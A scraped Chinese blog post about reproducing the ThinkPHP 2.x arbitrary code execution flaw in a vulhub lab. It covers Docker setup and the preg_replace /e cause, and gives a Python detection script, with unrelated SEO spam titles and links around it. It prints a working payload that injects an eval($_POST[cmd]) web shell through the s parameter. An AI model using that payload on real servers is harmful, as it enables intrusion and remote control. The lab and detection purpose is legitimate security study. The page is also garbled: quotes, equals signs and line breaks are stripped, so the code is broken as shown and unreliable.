当前位置: 首页 > news >正文

男人最爱的做网站请人做网站合同

男人最爱的做网站,请人做网站合同,合肥网站建设技术,购物网站建设优势Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞#xff08;六十三#xff09; PHP代码审计简介 PHP代码审计是指对PHP程序进行安全审计#xff0c;以发现潜在的安全漏洞和风险。PHP是一种流行的服务器端脚本语言#xff0c;广泛用于开发网站和Web应用程序。由…Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞六十三 PHP代码审计简介 PHP代码审计是指对PHP程序进行安全审计以发现潜在的安全漏洞和风险。PHP是一种流行的服务器端脚本语言广泛用于开发网站和Web应用程序。由于其开源性质和易于学习的特点许多开发人员使用PHP来构建他们的网站和应用。 然而不可否认的是PHP应用程序也存在着安全风险。由于PHP的灵活性和易用性开发人员可能会犯一些常见的安全错误如注入攻击、跨站脚本攻击XSS、跨站请求伪造CSRF等。 PHP代码审计的目的是识别和修复这些安全漏洞以确保应用程序的安全性。通过审计代码可以发现潜在的漏洞如未经验证的用户输入、不正确的权限控制、不安全的数据库查询等。 在进行PHP代码审计时审计人员通常会使用一些工具和技术来辅助他们的工作。这包括静态代码分析工具、动态代码分析工具、漏洞扫描器等。此外审计人员还需要具备一定的安全知识和编程经验以便能够理解和分析代码中的潜在漏洞。 总之PHP代码审计是一项重要的安全工作可以帮助开发人员识别和修复潜在的安全漏洞以保护应用程序和用户的数据安全。 漏洞环境搭建 这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装 安装 docker #更新软件 apt-get update #安装CA证书 apt-get install -y apt-transport-https ca-certificates #安装docker apt install docker.io #查看docker是否安装成功 docker -v #启动docker systemctl start docker #显示docker信息 docker ps -a如上图所示我们已经成功安装好了docker 安装pip和docker-compose #安装pip apt-get install python3-pip #安装docker-compose apt install docker-compose #查看版本是否安装成功 docker-compose -v如上图所示我们已经成功安装好了pip和docker-compose 安装vnlhub #安装vnlhub git clone https://github.com/vulhub/vulhub.git将docker换成国内源 #更改源 vim /etc/docker/daemon.json #加入以下内容 {registry-mirrors: [https://dockerproxy.com,https://hub-mirror.c.163.com,https://mirror.baidubce.com,https://ccr.ccs.tencentyun.com] }#重启docker systemctl restart docker #查看信息出现图中配置的信息即为成功 docker info使用vulhub靶场 进入你想试验靶场的位置cd vulhub/目录名可以用ls查看漏洞靶场 比如我们想进入 ThinkPHP漏洞环境可以 cd ThinkPHP然后通过 ls 查看可以搭建的靶场目前 vulhub关于 ThinkPHP漏洞 可以搭建的靶场有五个 我们拿 2-rce 漏洞举例如果我们想要安装 2-rce 漏洞环境可以 cd 到 2-rce 然后输入以下命令启动靶场环境 docker-compose up -d输入以下的命令可以查看当前启动的靶场环境 docker-compose ps若不需要使用该靶场的时候可以输入以下的命令移除环境 docker-compose down最后我们输入http://localhost:8080 就能访问该靶场环境 ThinkPHP 2.x 任意代码执行漏洞原理 ThinkPHP是一个开源的PHP开发框架该框架存在代码执行漏洞漏洞产生的原因是因为ThinkPHP在处理URL参数时没有对参数进行充分的过滤和验证导致攻击者可以构造恶意的URL参数从而执行任意代码。 具体原理如下 攻击者构造恶意的URL参数例如在GET请求的参数中添加PHP代码。 ThinkPHP框架对URL参数进行处理时会通过parseRequest方法解析URL获取控制器和操作方法等信息。 在解析URL参数时框架会使用eval函数将参数中的代码进行执行从而实现代码执行的功能。 攻击者构造的恶意URL参数中的代码会被eval函数执行从而导致任意代码执行漏洞的产生。 在ThinkPHP 2.x 版本里面 preg_relace的/e来匹配这个路由导致用户输入参数被插入了双引号中造成了任意代码执行。其POC如下所示/?s/Index/index/xxx/${print(eval($_POST[cmd]))} 现在我们构造如下的URLhttp://localhost:8080/?s/Index/index/xxx/${var_dump(md5(123))},将会爆出如下的那么一串数字这一步就是我们用python写检测ThinkPHP 2.x 任意代码执行漏洞的POC的关键。 这里爆出的数字是由MD5经过32位[小]加密的数字123 ThinkPHP 2.x 任意代码执行漏洞复现POC 接下来我们拥python写检测ThinkPHP 2.x 任意代码执行漏洞的POC代码内容如下 #!/usr/bin/env pythonimport requests from urllib.parse import urljoin from bs4 import BeautifulSoupdef thinkphp2_rce(url):payload ?s/index/index/xxx/${var_dump(md5(handsomewuyue))}url urljoin(url, payload)response requests.get(urlurl) # 这里的31664625b85cc0cf91406a4e028ede29是由handsomewuyue字符经过32位[小]MD5加密得到的数字用户可根据自己在实际过程中构造的POC进行自定义更改if 31664625b85cc0cf91406a4e028ede29 in response.text:print(漏洞存在)else:print(漏洞不存在) if __name__ __main__:url http://localhost:8080/thinkphp2_rce(url)注意判断漏洞是否存在的MD5加密数据是根据我们所构造的POC中所发送的字符绝定的这里的31664625b85cc0cf91406a4e028ede29是由我们所构造的payload?s/index/index/xxx/${var_dump(md5(handsomewuyue))}中的handsomewuyue字符经过32位[小]MD5加密得到的数字用户可根据自己在实际过程中构造的POC进行自定义更改 POC代码详细分析 这段代码是一个用于检测ThinkPHP 2.x版本存在远程命令执行Remote Code Execution漏洞的脚本。下面是代码的分析 导入所需的库 requests: 用于向服务器发送HTTP请求和接收响应。 urljoin: 用于将相对URL转换为绝对URL。 BeautifulSoup: 用于解析HTML响应。 定义一个名为thinkphp2_rce的函数该函数接收一个url参数。 在函数内部定义一个payload字符串其中包含一个特定的URL路径?s/index/index/xxx/${var_dump(md5(handsome xuanyue))}。这个payload是用来构造恶意请求的。 使用urljoin函数将payload与传入的URL拼接在一起得到最终的URL。 使用requests库发送GET请求将最终的URL作为请求目标。 如果响应文本中包含特定的MD5哈希值31664625b85cc0cf91406a4e028ede29则打印漏洞存在否则打印漏洞不存在。 在if __name__ __main__:部分定义了一个默认的URL变量url http://localhost:8080/然后调用thinkphp2_rce函数并传递这个URL作为参数。这是为了在直接运行脚本时进行测试可以根据实际情况修改URL。 运行效果图 如下是我们这串代码的实际运行效果图
http://www.hkea.cn/news/14307932/

相关文章:

  • 国内卡一卡二卡三网站视频手机软件下载平台哪个好
  • 知名中文网站建设西安旅游服务网站建设
  • c 开发微网站开发wordpress知更鸟破解
  • 网站建设上的新闻安徽省建设厅网站职称
  • 怎么建设自己的网站婚纱手机网站
  • 高密微网站建设福步外贸论坛网官网
  • 青岛网站建设 上流wordpress打不开自定义
  • phpcms v9 网站模板wordpress打不开后台
  • 阿里巴巴国际网站首页视频怎么做哪个网站可以做计算机二级的题
  • 网站设计服务表手机网页如何制作
  • 广宗网站建设wordpress设置静态内容缓存时间
  • 网站的组成柳州市住房和城乡建设局网站首页
  • 网站托管流程wordpress时间插件下载地址
  • 做个网站需要什么步骤如何评估一个网站
  • 站长之家alexa排名怎么看公司做网站是com好还是cn好
  • 网站建设费用计算依据中国芯片制造最新消息
  • 广州可信网站认证服务器好看的企业网站模板
  • 云南建设厅网站首页做网站好的
  • 做药品的电商网站唐山建讯网站
  • 天河微网站建设在线酒店预定网站制作
  • 网站维护客户济南软月建站
  • 专门做超市dm网站网站设计背景图片怎么做的
  • 网站公司企业网站做网站只有域名
  • 苏州网站建设技术在建设局网站备案怎么弄
  • 网站开发的话术网站建设 数据库连接
  • 无锡网站建设专注千客云网络怎么看网站是谁家做的
  • 邯郸网站建设维护广告设计专业哪个大学最好
  • 建设个网站工信部网站备案审核
  • 重庆专业的网站建设公司哪家好平面设计公司起名
  • 乾县住房和城乡建设局网站用个人的信息备案网站